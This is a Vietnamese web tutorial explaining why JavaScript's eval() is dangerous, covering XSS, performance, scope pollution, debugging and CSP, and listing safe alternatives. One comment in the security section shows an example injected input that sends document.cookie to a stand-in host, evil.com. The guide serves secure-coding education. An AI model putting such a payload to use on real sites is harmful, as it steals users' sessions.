Computer >> Hướng Dẫn Máy Tính >  >> Lập Trình >> JavaScript

Tại sao eval() trong JavaScript là ý tưởng tồi?

Hàm eval() trong JavaScript cho phép thực thi một chuỗi ký tự như code. Tuy mạnh, nhưng nó là "kẻ thù số 1" của bảo mật và hiệu năng. Dưới đây là lý do chi tiết:

1. Lỗ hổng bảo mật nghiêm trọng: Code Injection (XSS)

Nếu chuỗi truyền vào eval() chứa dữ liệu không tin cậy (input user, URL, API, localStorage...), kẻ tấn công chèn mã độc:

// User input: "alert('XSS')" hoặc "fetch('//evil.com/steal?c='+document.cookie)"
eval(userInput); // THỰC THI MÃ ĐỘC NGAY LẬP TỨC!
// Hậu quả: Đánh cắp session, keylogger, deface, redirect, crypto mining...

Ngay cả khi bạn "lọc" input, việc bypass filter rất dễ dàng do JS động, encoding, Unicode tricks...

2. Hiệu năng kém (Performance)

  • Engine JS (V8, SpiderMonkey, JavaScriptCore) không thể tối ưu hóa (JIT compile) code trong eval() vì nó động, không biết trước cấu trúc.
  • Tạo scope mới, phá vỡ tối ưu hóa biến (variable optimization) của hàm chứa.
  • Chậm gấp 10-100 lần so với code tĩnh hoặc Function constructor.

3. Phá vỡ Scope & Closure (Scope Pollution)

function outer() {
    var secret = "Mật khẩu";
    eval("var secret = 'Hacked!';"); // GHI ĐÈ BIẾN CỤC BỘ CỦA HÀM CHỨA!
    console.log(secret); // "Hacked!" - RÒ RỈ BIẾN PRIVATE!
}
outer();

eval() truy cập và sửa đổi được biến cục bộ (local variables) của hàm chứa nó -> Vi phạm nguyên tắc encapsulation, gây bug cực khó tìm.

4. Khó gỡ lỗi (Debugging Hell)

  • Stack trace không chính xác, không trỏ về source gốc.
  • Breakpoint, Source Maps không hoạt động bên trong eval().
  • Console.log trong eval khó trace.

5. Vi phạm Content Security Policy (CSP)

Hầu hết CSP hiện đại (script-src 'self') chặn hoàn toàn eval() (yêu cầu 'unsafe-eval' - không khuyên dùng). Dùng eval làm site không deploy được trên môi trường bảo mật cao.

✅ THAY THẾ AN TOÀN CHO TỪNG TRƯỜNG HỢP

Nhu cầuThay thế an toàn
Parse JSONJSON.parse() (Chuẩn, an toàn, nhanh)
Truy cập property động: obj["prop"]Bracket notation: obj[propName] hoặc obj?.propName
Gọi hàm động: funcName()Object Map: const fns = {fnA: ..., fnB: ...}; fns[funcName]?.()
Tính toán biểu thức toán họcThư viện: math.js, expr-eval; hoặc Function Constructor (cẩn trọng)
Template stringTemplate Literals ES6: \`Hello \${name}\`
Code generation / Meta programmingnew Function(...) (vẫn rủi ro nhưng scope riêng, tốt hơn eval) - Chỉ dùng trusted code.

Ví dụ so sánh (Từ nguồn gốc)

<html>
<body>
<script>
    var a = 30, b = 12;
    // CÁCH XẤU - DÙNG eval()
    var res1 = eval("a * b") + "<br>"; 
    var res2 = eval("5 + 10") + "<br>";
    document.write(res1); document.write(res2);
    
    // CÁCH TỐT - KHÔNG DÙNG eval()
    var res1_good = (a * b) + "<br>"; // Code tĩnh, tối ưu hóa tốt
    var res2_good = (5 + 10) + "<br>";
    document.write(res1_good); document.write(res2_good);
</script>
</body>
</html>

Kết luận

TUYỆT ĐỐI KHÔNG DÙNG eval() TRONG PRODUCTION CODE. Nó mở cửa cho hacker (XSS), làm chậm ứng dụng, phá vỡ scope, khủng khiếp khi debug, vi phạm CSP. Luôn có giải pháp thay thế an toàn, nhanh hơn, chuẩn hơn cho mọi trường hợp sử dụng eval().